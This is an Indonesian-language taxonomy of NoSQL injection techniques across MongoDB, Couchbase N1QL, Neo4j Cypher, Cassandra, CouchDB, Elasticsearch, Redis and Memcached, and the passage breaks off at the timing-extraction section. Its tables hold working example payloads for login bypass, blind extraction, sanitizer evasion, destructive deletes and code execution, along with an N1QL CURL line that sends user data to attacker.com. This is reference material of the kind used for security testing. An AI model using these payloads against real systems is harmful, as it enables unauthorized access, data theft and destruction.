Struktur Klasifikasi

Taksonomi ini mengorganisasikan seluruh permukaan serangan injeksi NoSQL berdasarkan tiga sumbu yang saling tegak lurus. Sumbu 1 (Target Mutasi) mendefinisikan komponen struktural apa dari interaksi database yang dimanipulasi — ini adalah sumbu utama dan menjadi kerangka isi dokumen. Sumbu 2 (Mekanisme Eksploitasi) mendeskripsikan bagaimana mutasi mencapai efeknya — sifat ketidakcocokan, kebingungan, atau bypass yang membuat injeksi berhasil. Sumbu 3 (Hasil Serangan) memetakan di mana setiap teknik digunakan — skenario dampak nyata di dunia.

Injeksi NoSQL berbeda secara fundamental dari injeksi SQL klasik karena tidak ada satu bahasa query tunggal yang menjadi target. Sebaliknya, permukaan serangan terfragmentasi di berbagai mesin database (MongoDB, CouchDB, Couchbase, Neo4j, Redis, Elasticsearch, DynamoDB), berbagai antarmuka query (operator berbasis dokumen, JavaScript sisi server, aggregation pipeline, bahasa query mirip SQL, bahasa query graph, perintah key-value), dan berbagai saluran pengiriman input (body JSON, parameter URL-encoded, header HTTP, GraphQL resolver). Fragmentasi ini berarti “injeksi NoSQL” bukanlah satu kelas kerentanan, melainkan keluarga primitif injeksi yang disatukan oleh targetnya: data store non-relasional.

Mekanisme Sumbu 2 yang berlaku lintas semua kategori adalah:

MekanismeDeskripsi
Type ConfusionMengubah nilai skalar (string) menjadi objek atau array, menyebabkan query engine menafsirkannya sebagai ekspresi operator
Operator HijackMenyuntikkan operator query yang tidak diinginkan ($ne, $gt, $regex, dll.) ke dalam query yang dirancang menerima nilai biasa
Syntax EscapeKeluar dari konteks string atau nilai untuk menyuntikkan logika query tambahan, analog dengan pelolosan tanda kutip pada injeksi SQL
Validation BypassMenghindari lapisan sanitasi (filter ODM, middleware, aturan WAF) melalui nesting, encoding, atau manipulasi struktural
Authorization BypassMengakses data atau operasi di luar cakupan yang dimaksud melalui manipulasi query (pembacaan lintas koleksi, eskalasi hak istimewa)

§1. Injeksi Operator Query

Injeksi operator query adalah bentuk injeksi NoSQL yang paling umum dan khas. Ini mengeksploitasi fakta bahwa banyak database NoSQL (khususnya MongoDB) menerima objek terstruktur sebagai parameter query, di mana kunci khusus yang diawali $ ditafsirkan sebagai operator query, bukan nilai literal. Ketika aplikasi meneruskan input yang dikontrol pengguna langsung ke dalam query tanpa validasi tipe, penyerang dapat mengganti nilai skalar dengan ekspresi operator.

§1-1. Injeksi Operator Perbandingan

Bentuk injeksi NoSQL yang paling sederhana dan umum. Penyerang mengganti nilai string yang diharapkan dengan objek operator perbandingan untuk mengubah logika query.

SubtipeMekanismeContoh PayloadKondisi Kunci
$ne (Not Equal)Mengembalikan semua dokumen di mana field tidak sama dengan nilai yang ditentukan. Ketika disuntikkan ke field username dan password, mengembalikan dokumen pertama dalam koleksi.{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}Aplikasi meneruskan objek mentah ke query tanpa pemeriksaan tipe
lt (Greater/Less Than)Perbandingan terhadap string kosong atau nol mencocokkan semua nilai yang tidak kosong, melewati pemeriksaan nilai tertentu.{"username":{"$gt":""},"password":{"$gt":""}}Perbandingan numerik atau leksikografis bermakna untuk field target
lte (Batas Rentang)Membatasi hasil pada rentang nilai, memungkinkan ekstraksi tertarget saat dikombinasikan dengan enumerasi.{"username":{"$gte":"admin","$lte":"admin"},"password":{"$gte":""}}Digunakan untuk mempersempit ekstraksi blind ke rekaman tertentu
nin (Keanggotaan Himpunan)$in cocok dengan nilai apa pun dalam array yang diberikan; $nin mengecualikan nilai. Berguna untuk menarget akun tertentu atau mengenumerasi nilai yang valid.{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":""}}Aplikasi menerima nilai array dalam posisi operator
$exists (Keberadaan Field)Mencocokkan dokumen berdasarkan ada tidaknya suatu field, berguna untuk menyelidiki skema dan melewati pemeriksaan field opsional.{"resetToken":{"$exists":true},"email":"admin@example.com"}Field target mungkin ada atau tidak ada di berbagai dokumen

§1-2. Injeksi Operator Regular Expression

Operator $regex memungkinkan pencocokan pola terhadap nilai field. Ketika disuntikkan, ia mengubah query pencocokan tepat menjadi query berbasis pola, memungkinkan bypass maupun ekstraksi data.

SubtipeMekanismeContoh PayloadKondisi Kunci
Wildcard Match^.* cocok dengan nilai apa pun, mengubah pemeriksaan pencocokan tepat menjadi lolos universal.{"username":"admin","password":{"$regex":"^.*"}}Aplikasi tidak memaksakan tipe pada parameter password
Prefix ExtractionPengujian karakter berurutan melalui ^a, ^ab, ^abc secara bertahap mengungkap nilai field karakter demi karakter.{"username":"admin","password":{"$regex":"^s3cr"}}Respons yang dapat dibedakan secara boolean (status HTTP, body, atau timing berbeda)
Length ProbingPola .{N} menentukan panjang tepat nilai field sebelum ekstraksi.{"password":{"$regex":".{8}"}} → true; {"password":{"$regex":".{9}"}} → falseRespons berbeda antara cocok dan tidak cocok
Character Class EnumerationMenguji keberadaan tipe karakter (digit, karakter khusus) untuk mempersempit ruang pencarian.{"password":{"$regex":"\\d"}} (mengandung digit?)Mengurangi ruang brute-force untuk ekstraksi prefix berikutnya
Case-Insensitive MatchingFlag $options: "i" memungkinkan pencocokan case-insensitive untuk enumerasi username.{"username":{"$regex":"^admin","$options":"i"}}Perbandingan username case-sensitive tetapi penyerang tidak mengetahui huruf besar/kecil yang tepat

§1-3. Injeksi Operator Logika

Operator logika ($or, $and, $not, $nor) mengubah struktur boolean query. Ketika disuntikkan, mereka dapat menambahkan kondisi alternatif yang selalu bernilai true atau digabungkan dengan operator lain untuk rantai bypass yang kompleks.

SubtipeMekanismeContoh PayloadKondisi Kunci
$or Always-TrueMenambahkan kondisi alternatif yang mencocokkan semua dokumen, membuat seluruh predikat benar tanpa memperhatikan klausa lain.{"$or":[{"username":"admin"},{"username":{"$ne":""}}]}Aplikasi tidak memvalidasi kunci query tingkat atas
$or Filter NestingMenumpuk operator berbahaya (misalnya $where) di dalam array $or untuk melewati pemeriksaan sanitasi yang hanya berlaku di tingkat atas.{"$or":[{"$where":"sleep(5000)"}]}Sanitizer hanya memeriksa kunci tingkat atas (pola CVE-2025-23061)
$not InversionMembalik kondisi untuk mencocokkan semua kecuali pola yang ditentukan.{"password":{"$not":{"$eq":"wrongpassword"}}}Lebih jarang difilter dibandingkan $ne

§1-4. Injeksi Operator Evaluasi

Operator evaluasi mengeksekusi ekspresi atau kode di dalam mesin database, memberikan primitif injeksi yang paling kuat.

SubtipeMekanismeContoh PayloadKondisi Kunci
$where JavaScriptMengeksekusi ekspresi JavaScript arbitrer di server. Dijelaskan lebih lanjut di §3.{"$where":"this.username=='admin' && this.password.startsWith('a')"}$where tidak dinonaktifkan; JS sisi server diaktifkan
$expr Aggregation ExpressionMengevaluasi ekspresi agregasi dalam query find, memungkinkan perbandingan lintas-field dan kondisi komputasi.{"$expr":{"$eq":["$password","$username"]}}Lebih jarang dibatasi dibandingkan $where

§2. Injeksi Sintaks Query

Injeksi sintaks terjadi ketika input pengguna digabungkan langsung ke dalam string query atau template, memungkinkan penyerang keluar dari konteks nilai yang dimaksud dan menyuntikkan logika query tambahan. Ini sejajar dengan injeksi SQL klasik dan berlaku terutama untuk database atau driver yang membangun query melalui concatenation string.

§2-1. Pelolosan Batas String

Ketika query dibangun dengan menginterpolasi input pengguna ke dalam template string, karakter khusus dapat mengakhiri string dan menyuntikkan logika baru.

SubtipeMekanismeContoh PayloadKondisi Kunci
Quote Escape (Single)Mengakhiri nilai string yang dikutip tunggal dan menambahkan logika always-true.Input: admin' || '1'=='1 → Query menjadi: this.username == 'admin' || '1'=='1'Query dibangun melalui concatenation string dengan tanda kutip tunggal
Quote Escape (Double)Prinsip yang sama dengan konteks kutip ganda.Input: admin" || "1"=="1Interpolasi string kutip ganda
Comment InjectionMenggunakan sintaks komentar JavaScript atau bahasa query untuk membuang sisa konteks yang disuntikkan.Input: admin'; return true; //Konteks JavaScript sisi server ($where atau eval)
Null Byte TruncationKarakter %00 memotong pemrosesan string di beberapa parser, membuang batasan query berikutnya.username=admin%00&password=anythingBahasa/parser backend rentan terhadap terminasi null byte

§2-2. Manipulasi Logika Boolean

Setelah keluar dari konteks nilai, penyerang menyuntikkan kondisi yang mengubah evaluasi boolean keseluruhan query.

SubtipeMekanismeContoh PayloadKondisi Kunci
Always-True InjectionMenambahkan || true atau yang setara untuk membuat query mencocokkan semua dokumen.' || '1'=='1 atau ' || true || 'Ekspresi yang disuntikkan dievaluasi dalam konteks boolean
Always-False dengan UNIONMemaksa kondisi asli menjadi false, lalu menyuntikkan union/alternatif untuk mengontrol data yang dikembalikan.' && 0 && 'x (verifikasi) vs. ' && 1 && 'x (konfirmasi)Digunakan untuk deteksi — respons diferensial mengkonfirmasi injeksi
Conditional TruthMenyuntikkan kondisi yang benar hanya untuk rekaman tertentu, memungkinkan akses data yang ditargetkan.admin' && this.password.length > 5 && 'a'=='aKonteks JS sisi server dengan akses properti objek

§2-3. Deteksi Fuzz String

Pengujian sistematis dengan karakter khusus mengidentifikasi parameter yang dapat disuntikkan dengan memicu kesalahan sintaks atau perubahan perilaku.

Fuzz StringTujuan
'"\{ ;Foo} Foo \xYZ`Fuzz string dasar MongoDB yang menguji beberapa vektor pelolosan secara bersamaan
' (tanda kutip tunggal)Menguji pelolosan batas string
$ne / $gt dalam parameter URLMenguji interpretasi operator dari input URL-encoded
{"$gt":""} dalam body JSONMenguji injeksi operator dalam konteks JSON

§3. Injeksi JavaScript Sisi Server (SSJI)

MongoDB mendukung eksekusi JavaScript dalam beberapa konteks: operator query $where, operator agregasi $function dan $accumulator, serta perintah mapReduce (yang sudah tidak direkomendasikan). Ketika input pengguna mencapai salah satu konteks ini tanpa sanitasi, penyerang dapat mengeksekusi JavaScript arbitrer di server database.

§3-1. Injeksi Klausa $where

Operator $where menerima ekspresi atau fungsi JavaScript yang dievaluasi untuk setiap dokumen. Ia menyediakan akses ke dokumen melalui this dan ke seluruh runtime JavaScript.

SubtipeMekanismeContoh PayloadKondisi Kunci
Conditional Data ExtractionJavaScript yang mengakses this.fieldName mengekstrak nilai karakter demi karakter melalui oracle boolean atau timing.admin' && this.password[0] == 'a' || 'a'=='bRespons yang dapat dibedakan secara boolean
Regex-Based Extractionthis.field.match() menguji pola kompleks dalam konteks JavaScript.admin' && this.password.match(/^[a-f]/) || 'a'=='bLebih efisien dibandingkan ekstraksi per karakter
Sleep-Based Timing Oraclesleep() memperkenalkan penundaan yang dapat diukur berdasarkan nilai data, memungkinkan ekstraksi blind saat respons identik.{"$where":"if(this.password[0]=='a'){sleep(5000)}"}Perbedaan timing dapat terdeteksi melalui jaringan
Conditional Timing FunctionFungsi JavaScript khusus dengan busy-wait loop untuk kontrol timing yang lebih presisi.admin'+function(x){var w=new Date(new Date().getTime()+5000);while((x.password[0]==='a')&&w>new Date()){}}(this)+'Eksekusi JS sisi server diaktifkan
Error-Based Exfiltrationthrow new Error() dengan JSON.stringify(this) membuang konten dokumen ke dalam pesan error.{"$where":"throw new Error(JSON.stringify(this))"}Aplikasi mengembalikan pesan error terperinci (mode debug)
Object.keys() EnumerationMengekstrak nama field dari dokumen tanpa pengetahuan skema sebelumnya.{"$where":"Object.keys(this)[0].match('^.{0}a.*')"}Digunakan saat nama field tidak diketahui

§3-2. Injeksi accumulator

Tersedia di MongoDB 4.4+, operator agregasi $function dan $accumulator mengeksekusi JavaScript dalam aggregation pipeline.

SubtipeMekanismeContoh PayloadKondisi Kunci
$function Code ExecutionMengeksekusi JavaScript arbitrer dalam tahap agregasi, dengan akses ke field dokumen.{"$function":{"body":"function(x){return x}","args":["$password"],"lang":"js"}}Input pengguna mencapai definisi aggregation pipeline
$accumulator State ManipulationFungsi akumulator JavaScript khusus dengan tahap init, accumulate, merge, dan finalize.Suntikkan ke dalam accumulateArgs atau body dari $accumulatorInjeksi aggregation pipeline (§4) sebagai prasyarat

§3-3. Injeksi mapReduce (Legacy)

Perintah mapReduce (tidak direkomendasikan sejak MongoDB 5.0) menerima fungsi JavaScript map dan reduce. Pada deployment lama, input pengguna yang mencapai fungsi-fungsi ini memungkinkan eksekusi kode arbitrer.

SubtipeMekanismeKondisi Kunci
Map Function InjectionJavaScript arbitrer dalam fungsi map memiliki akses ke setiap dokumen melalui this.Aplikasi mengekspos parameter mapReduce ke input pengguna
Reduce Function InjectionJavaScript arbitrer dalam fungsi reduce memproses hasil yang dikelompokkan.Deployment MongoDB lama dengan mapReduce diaktifkan

§4. Injeksi Aggregation Pipeline

Framework agregasi MongoDB menyediakan pipeline pemrosesan data multi-tahap yang kuat. Ketika input pengguna dapat mempengaruhi definisi tahap pipeline, penyerang mendapatkan kemampuan jauh melampaui manipulasi query sederhana — termasuk akses data lintas koleksi dan modifikasi data.

§4-1. Akses Data Lintas Koleksi

SubtipeMekanismeContoh PayloadKondisi Kunci
$lookup (Left Outer Join)Membaca data dari koleksi mana pun dalam database yang sama dengan melakukan left outer join. Menggunakan nama field yang tidak ada untuk localField dan foreignField mengembalikan seluruh koleksi target.{"$lookup":{"from":"users","localField":"_nonexistent","foreignField":"_nonexistent","as":"leaked"}}Input pengguna mengontrol atau memperluas tahap aggregation pipeline
$unionWith (Union Koleksi)Menggabungkan hasil dari pipeline saat ini dengan seluruh isi koleksi lain, mirip dengan SQL UNION ALL.{"$unionWith":{"coll":"users","pipeline":[{"$addFields":{"_src":"users"}}]}}Titik injeksi pipeline ada
$lookup dengan Sub-PipelineEkstraksi lebih bertarget menggunakan sub-pipeline berfilter dalam $lookup.{"$lookup":{"from":"users","pipeline":[{"$match":{"role":"admin"}}],"as":"admins"}}Memungkinkan nesting pipeline
$graphLookup (Rekursif)Melakukan pencarian rekursif di seluruh dokumen, berguna untuk menelusuri struktur data hierarkis.{"$graphLookup":{"from":"employees","startWith":"$managerId","connectFromField":"managerId","connectToField":"_id","as":"chain"}}Model data graph/hierarkis

§4-2. Modifikasi Data via Agregasi

SubtipeMekanismeContoh PayloadKondisi Kunci
$merge (Upsert ke Koleksi)Menulis hasil agregasi ke koleksi target, dengan opsi untuk insert, replace, merge, atau gagal saat cocok.{"$merge":{"into":"users","whenMatched":"merge","whenNotMatched":"insert"}}Injeksi aggregation pipeline; izin write
$out (Ganti Koleksi)Mengganti seluruh koleksi dengan output dari aggregation pipeline. Lebih destruktif dibandingkan $merge.{"$out":"users"}Izin write; kemampuan destruktif
merge (Modifikasi Field)Menggabungkan $set untuk memodifikasi field tertentu dengan $merge untuk menulis perubahan kembali, memungkinkan perusakan data yang ditargetkan.[{"$match":{"email":"admin@site.com"}},{"$set":{"role":"superadmin"}},{"$merge":{"into":"users","whenMatched":"merge"}}]Injeksi pipeline dengan izin write

§4-3. Penyalahgunaan Tahap Internal

SubtipeMekanismeContoh PayloadKondisi Kunci
$mergeCursors (Shard Bypass)Tahap internal untuk menggabungkan hasil query di seluruh shard. Penanganan otorisasi yang tidak tepat memungkinkan akses data tidak sah dengan melewati RBAC.Pipeline yang dibuat khusus mengeksploitasi $mergeCursorsDeployment MongoDB tershard; CVE-2025-6713
Dummy $match Elimination{"$match":{"_id":{"$exists":false}}} mengembalikan nol hasil dari koleksi asli, memastikan hanya data lintas koleksi (melalui $lookup/$unionWith) yang dikembalikan.Ditambahkan sebelum pipeline sebelum $unionWithDigunakan untuk mengisolasi hasil lintas koleksi
$replaceWith (Penggantian Dokumen)Menggantikan setiap dokumen dalam pipeline dengan dokumen yang ditentukan, memungkinkan injeksi konten arbitrer sebelum $merge.{"$replaceWith":{"_id":"targetId","password":"newpass"}}Diikuti oleh $merge untuk modifikasi data

§4-4. Indikator Deteksi Pipeline

Saat melakukan pengujian black-box, indikator berikut menunjukkan adanya injeksi aggregation pipeline:

  • Parameter permintaan yang menerima array JSON (misalnya, pipeline=[{...}])
  • Kehadiran operator khusus agregasi dalam pesan error ($match, $group, $project)
  • Respons yang berisi struktur dokumen bertumpuk dari beberapa koleksi
  • Path endpoint yang mengandung /aggregate atau pola penamaan serupa

§5. Injeksi Bahasa Query Khusus Database

Beberapa database NoSQL mengimplementasikan bahasa query mirip SQL atau bahasa khusus domain yang rentan terhadap injeksi melalui concatenation string, mencerminkan pola injeksi SQL klasik yang diadaptasi ke sintaks masing-masing bahasa.

§5-1. Injeksi N1QL (Couchbase)

N1QL (diucapkan “nickel”) memperluas SQL untuk dokumen JSON di Couchbase Server 4.0+. Injeksi mengikuti pola injeksi SQL tetapi dengan fungsi dan batasan spesifik Couchbase.

SubtipeMekanismeContoh PayloadKondisi Kunci
UNION-Based ExtractionMenambahkan UNION SELECT dari keyspace sistem untuk mengekstrak metadata dan data dari bucket lain.city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1Concatenation string ke dalam query N1QL
Boolean-Based BlindEkstraksi karakter demi karakter menggunakan fungsi SUBSTR() dan ENCODE_JSON().city=X' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)),1,1) AND '1'='1Respons diferensial untuk kondisi true/false
CURL-Based SSRFFungsi CURL() N1QL (jika diaktifkan) membuat permintaan HTTP dari server database, memungkinkan SSRF.' UNION SELECT CURL('http://attacker.com/exfil?data=' || ENCODE_JSON((SELECT * FROM users)))Fitur CURL diaktifkan dalam konfigurasi Couchbase
System Keyspace Enumerationsystem:keyspaces dan system:datastores mengekspos metadata database untuk pengintaian.UNION SELECT * FROM system:keyspacesAkses ke endpoint N1QL

Batasan N1QL: Stacking query tidak didukung. Hanya komentar blok C-style (/* */) yang tersedia — komentar baris (--) tidak ada. Keterbatasan ini memerlukan strategi eksploitasi yang berbeda dibandingkan injeksi SQL tradisional.

§5-2. Injeksi Cypher (Neo4j)

Bahasa query Cypher Neo4j rentan terhadap injeksi ketika input pengguna digabungkan ke dalam string query.

SubtipeMekanismeContoh PayloadKondisi Kunci
Boolean TautologyMenyuntikkan kondisi always-true ke dalam klausa MATCH/WHERE.' OR 1=1 WITH true AS ignored MATCH (n) RETURN n //Concatenation string ke dalam query Cypher
UNION-Based ExtractionMenambahkan UNION MATCH untuk mengekstrak data dari tipe node lain.' UNION MATCH (n:SecretNode) RETURN n.data //Aplikasi mengembalikan hasil query ke klien
Error-Based via Date()Menempatkan data yang diekstrak di dalam fungsi Date(), yang gagal dengan pesan error yang berisi data.' OR 1=1 WITH 1 as a CALL dbms.security.listUsers() YIELD username AS u RETURN Date(u) //Pesan error dikembalikan ke klien
Destructive OperationsMenyuntikkan DETACH DELETE untuk menghancurkan data graph.1 OR 1=1 WITH true AS ignored MATCH (all) DETACH DELETE all //Izin write; sangat berbahaya
Label/Type BypassLabel node, tipe relasi, dan nama properti tidak dapat diparameterisasi dalam Cypher, memerlukan perlindungan berbasis sanitasi.Label dinamis: MATCH (n: + userInput + ) RETURN nKonstruksi label/tipe dinamis dari input pengguna

§5-3. Injeksi CQL (Cassandra)

Cassandra Query Language (CQL) sangat menyerupai SQL, membuat serangan injeksi CQL secara struktural mirip dengan injeksi SQL.

SubtipeMekanismeKondisi Kunci
String EscapeKeluar dari literal string CQL untuk menyuntikkan klausa WHERE atau query UNION tambahan.Query CQL dibangun melalui concatenation string
ALLOW FILTERING AbuseMenyuntikkan ALLOW FILTERING untuk melewati batasan query yang biasanya mencegah full-table scan.Query yang dibatasi yang dapat diperluas

§5-4. Injeksi Mango Query CouchDB

API query Mango CouchDB menerima objek selector JSON, membuatnya rentan terhadap pola injeksi operator yang mirip dengan MongoDB.

SubtipeMekanismeContoh PayloadKondisi Kunci
Selector Operator InjectionMenyuntikkan $ne, $regex, $or ke dalam objek selector Mango.{"selector":{"username":{"$ne":null}}}Input pengguna mencapai selector Mango tanpa validasi tipe
HTTP API Direct AccessREST API CouchDB memungkinkan CRUD dokumen langsung; endpoint yang terekspos memungkinkan manipulasi data tanpa injeksi.PUT /db/doc_id dengan dokumen yang dimodifikasiAPI CouchDB terekspos tanpa autentikasi

§5-5. Injeksi Elasticsearch Query DSL

Query DSL berbasis JSON dari Elasticsearch dapat dieksploitasi ketika input pengguna diinterpolasi ke dalam template query.

SubtipeMekanismeContoh PayloadKondisi Kunci
Template InjectionTemplate Mustache menggunakan {{{...}}} (tiga kurung kurawal) tidak meng-escape nilai, memungkinkan manipulasi struktur JSON.{{{userInput}}} di mana input adalah ","query":{"match_all":{}},"_source":["password"],"foo":"Interpolasi template yang tidak di-escape
Query DSL ManipulationMenyuntikkan klausa query tambahan melalui concatenation string dalam pembuat query.JSON yang di-escape keluar dari match ke dalam bool/shouldQuery dibangun melalui interpolasi string
Script InjectionSkrip Painless Elasticsearch (atau Groovy yang sudah tidak direkomendasikan) dapat dieksploitasi untuk eksekusi kode.{"script":{"source":"Runtime.getRuntime().exec('cmd')"}}Skrip diaktifkan; input pengguna mencapai konteks skrip

§5-6. Injeksi Perintah Redis

Redis beroperasi pada protokol perintah daripada bahasa query, membuat injeksi berupa manipulasi perintah.

SubtipeMekanismeContoh PayloadKondisi Kunci
Command ChainingMenyuntikkan perintah Redis tambahan melalui karakter newline dalam parameter perintah.key\r\nFLUSHALL\r\nInput mencapai string perintah Redis tanpa sanitasi
Lua Script InjectionPerintah Redis EVAL mengeksekusi skrip Lua; injeksi memungkinkan eksekusi kode Lua arbitrer.EVAL "redis.call('SET','pwned','true')" 0Input pengguna mencapai argumen perintah EVAL
SSRF via Gopher ProtocolMenggabungkan kerentanan SSRF dengan protokol Redis untuk mengeksekusi perintah arbitrer dari jarak jauh.gopher://redis:6379/_*3%0d%0a$3%0d%0aSET%0d%0a...SSRF ada yang dapat menjangkau port Redis

§5-7. Injeksi Perintah Memcached

Memcached menggunakan protokol berbasis teks di mana perintah dibatasi oleh \r\n. Ketika library klien membangun perintah dengan menggabungkan input pengguna tanpa sanitasi, injeksi CRLF memungkinkan eksekusi perintah Memcached arbitrer.

SubtipeMekanismeContoh PayloadKondisi Kunci
CRLF Command InjectionMenyuntikkan \r\n ke dalam kunci atau nilai cache untuk mengakhiri perintah saat ini dan menyuntikkan perintah Memcached tambahan (set, delete, flush_all).key\r\nset injected 0 3600 5\r\nPWNED\r\nLibrary klien tidak mensanitasi CRLF dalam parameter kunci/nilai
Session/Cache PoisoningMenyuntikkan perintah set untuk menimpa data sesi atau entri cache aplikasi yang di-cache dengan nilai yang dikontrol penyerang, memungkinkan pembajakan sesi atau manipulasi logika.\r\nset session:victim 0 3600 <len>\r\n<forged_session>\r\nAplikasi menggunakan Memcached untuk penyimpanan sesi; CRLF dapat disuntikkan
CRC32 Collision Key RoutingDalam library yang menggunakan hashing CRC32 untuk consistent hashing di seluruh node Memcached (misalnya pylibmc), membuat kunci cache yang nilai CRC32-nya bertabrakan memungkinkan penargetan node Memcached tertentu. Dikombinasikan dengan injeksi CRLF, penyerang mengontrol node mana yang menerima perintah dan perintah apa yang dieksekusi.Kunci yang dibuat untuk menghasilkan tabrakan CRC32 dengan rentang hash node targetKlien menggunakan consistent hashing berbasis CRC32 (pylibmc, libmemcached); kluster Memcached multi-node

§6. Manipulasi Saluran Pengiriman Input

Cara input pengguna disusun, di-encode, dan dikirimkan ke aplikasi sangat mempengaruhi apakah injeksi dapat dilakukan. Memanipulasi saluran input itu sendiri sering menjadi prasyarat untuk injeksi operator (§1).

§6-1. Konversi Content-Type

SubtipeMekanismeContoh PayloadKondisi Kunci
URL-Encoded ke JSONMengganti Content-Type dari application/x-www-form-urlencoded ke application/json untuk mengirim objek terstruktur di mana aplikasi mengharapkan string datar.Ubah username=admin&password=pass menjadi {"username":"admin","password":{"$ne":""}}Framework sisi server mengurai kedua tipe konten
JSON ke URL-EncodedKebalikannya: menggunakan sintaks array URL-encoded untuk menyuntikkan objek ketika aplikasi mengharapkan JSON.username=admin&password[$ne]=Parser qs Express/Node.js mengonversi notasi bracket ke objek

§6-2. Eksploitasi Format Parameter

SubtipeMekanismeContoh PayloadKondisi Kunci
Bracket Notation Array InjectionParser query bergaya Express menginterpretasikan param[$op]=value sebagai {param: {$op: value}}, mengubah parameter datar menjadi objek bertumpuk.password[$ne]=invalid&password[$regex]=^aNode.js dengan parser default qs atau express
PHP Array ParameterPHP menginterpretasikan param[key]=value sebagai array asosiatif, memungkinkan injeksi operator dari parameter URL.password[$ne]=1 di PHP → array('$ne' => '1')PHP dengan driver MongoDB
Duplicate Key ProcessingMongoDB memproses kunci JSON duplikat dengan hanya mempertahankan kemunculan terakhir. Dapat digunakan untuk menimpa nilai yang telah disanitasi.{"password":"sanitized","password":{"$ne":""}}Parser menerima kunci duplikat; perilaku last-wins
GraphQL Filter PassthroughGraphQL resolver yang meneruskan args.filter langsung ke collection.find() melewatkan objek operator melalui lapisan GraphQL.Query GraphQL: { users(filter: {password: {$ne: ""}}) { email } }Resolver tidak memvalidasi/daftar putih struktur filter

§6-3. Encoding dan Obfuscation

SubtipeMekanismeKondisi Kunci
Unicode EncodingRepresentasi alternatif dari karakter $ dan . untuk menghindari sanitizer berbasis pola.Sanitizer menggunakan pencocokan string sederhana daripada perbandingan setelah dekode
URL Encoding%24ne untuk $ne, %2e untuk . untuk melewati filter yang memeriksa karakter literal.Filter diterapkan sebelum URL decoding
Double Encoding%2524ne mendekode ke %24ne pada pass pertama, lalu $ne pada pass kedua.Beberapa lapisan decoding dalam pipeline permintaan
JSON Unicode Escape\u0024ne dalam JSON mewakili $ne dan dapat melewati filter tingkat string sebelum penguraian JSON.Filter memeriksa string JSON mentah sebelum deserialisasi

§7. Bypass Lapisan ODM/ORM dan Middleware

Object-Document Mapper (ODM seperti Mongoose) dan middleware sanitasi (seperti express-mongo-sanitize) dirancang untuk mencegah injeksi NoSQL. Namun, celah implementasi menciptakan peluang bypass.

§7-1. Bypass Sanitasi Mongoose

SubtipeMekanismeKondisi Kunci
$or Nesting BypasssanitizeFilter Mongoose hanya memeriksa properti tingkat atas dari objek. Membungkus $where di dalam array $or melewati pemeriksaan karena sanitizer tidak berekursi ke dalam elemen array. Payload mencapai library sift untuk evaluasi, memungkinkan RCE.Mongoose < 8.9.5; populate().match() dengan filter yang dikontrol pengguna (CVE-2025-23061)
Incomplete Patch IterationCVE-2025-23061 adalah perbaikan tidak lengkap untuk CVE-2024-53900. Perbaikan asli memblokir injeksi $where langsung tetapi tidak $where yang dinestingkan dalam $or. Pola bypass tambahan ini umum dalam lapisan sanitasi.Mongoose 8.8.3–8.9.4 (perbaikan CVE pertama tapi bukan kedua)
populate().match() Attack SurfaceMetode populate() Mongoose dengan parameter match meneruskan objek yang dikontrol pengguna ke dalam konstruksi query. Ini adalah permukaan injeksi yang kurang jelas dibandingkan panggilan find() langsung.Aplikasi menggunakan populate().match(userInput)

§7-2. Bypass Sanitasi Middleware

SubtipeMekanismeKondisi Kunci
Cakupan express-mongo-sanitizeMenghapus kunci yang dimulai dengan $ dan yang mengandung . dari req.body/query/params/headers. Tidak mensanitasi objek bertumpuk di luar kedalaman yang dikonfigurasi, dan allowDots: true menonaktifkan penghapusan titik.Konfigurasi default dengan kasus edge tertentu
Prototype Pollution ChainJika kerentanan prototype pollution ada di tempat lain dalam aplikasi, mencemari Object.prototype dengan kunci operator dapat menyuntikkan operator ke dalam query yang tidak langsung menggunakan input pengguna.Prasyarat prototype pollution dalam aplikasi yang sama
Pre-Parsing BypassJika sanitasi berjalan setelah body parsing tetapi sebelum semua middleware, parameter yang terlambat terikat atau body yang di-parse ulang mungkin tidak disanitasi.Urutan middleware yang kompleks; beberapa body parser
Bypass mongo-sanitizeSanitizer yang lebih sederhana yang hanya memeriksa $ di awal kunci dapat dilewati oleh operator yang tidak menggunakan awalan $ dalam konteks tertentu.Menggunakan library sanitasi yang lebih lama atau tidak lengkap

§7-3. Permukaan Injeksi Tingkat Framework

SubtipeMekanismeKondisi Kunci
Spring Data MongoDB @QueryAnotasi @Query Spring dengan query berbasis string memungkinkan injeksi jika parameter diinterpolasi daripada terikat.@Query("{'field': '?0'}") dengan input yang tidak diparameterisasi
Spring N1QL @QueryMirip dengan di atas tetapi untuk integrasi Couchbase melalui Spring Data.@Query("#{#n1ql.selectEntity} WHERE field = '#{[0]}'")
Django Raw QueriesMetode raw() Django pada backend MongoDB melewati parameterisasi ORM.collection.find(json.loads(user_input))

§8. Teknik Ekstraksi Blind

Ketika kebocoran data langsung tidak memungkinkan (tidak ada output yang terlihat, tidak ada pesan error), teknik ekstraksi blind menyimpulkan data bit demi bit melalui saluran samping yang dapat diamati.

§8-1. Ekstraksi Blind Berbasis Boolean

Penyerang menyuntikkan kondisi yang mengubah observasi binary (kode status HTTP, panjang body respons, perilaku redirect) tergantung apakah kondisi itu benar atau salah.

SubtipeMekanismeContoh PayloadKondisi Kunci
Operator Boolean OraclePencocokan prefix $regex menghasilkan respons true/false. Iterasi melalui posisi karakter dan nilai untuk merekonstruksi konten field.{"username":"admin","password":{"$regex":"^a"}} → 200; {"username":"admin","password":{"$regex":"^b"}} → 401Status HTTP atau respons berbeda untuk cocok vs. tidak cocok
$where Boolean OracleEkspresi JavaScript yang mengakses this.field[N] menguji karakter individual.admin' && this.password[0]=='a' || 'a'=='bJS sisi server diaktifkan; respons diferensial
Field Existence Probing$exists: true pada berbagai nama field menentukan skema.{"secretField":{"$exists":true},"username":"admin"}Respons berbeda berdasarkan keberadaan field dalam dokumen yang cocok
Object.keys() EnumerationEkstraksi karakter demi karakter dari nama field melalui pola Object.keys(this)[N].match().{"$where":"Object.keys(this)[1].match('^.{0}p.*')"}Skema tidak diketahui; SSJI diaktifkan
Strategi Length-FirstTentukan panjang nilai field dengan regex .{N} sebelum memulai ekstraksi karakter, mengoptimalkan proses ekstraksi.Langkah 1: {"password":{"$regex":".{8}"}} → true; .{9} → false (panjang=8). Langkah 2: Ekstrak 8 karakter.Mengurangi total permintaan yang diperlukan

§8-2. Ekstraksi Blind Berbasis Timing

Ketika respons identik tanpa memperhatikan hasil query, saluran samping timing memungkinkan ekstraksi.

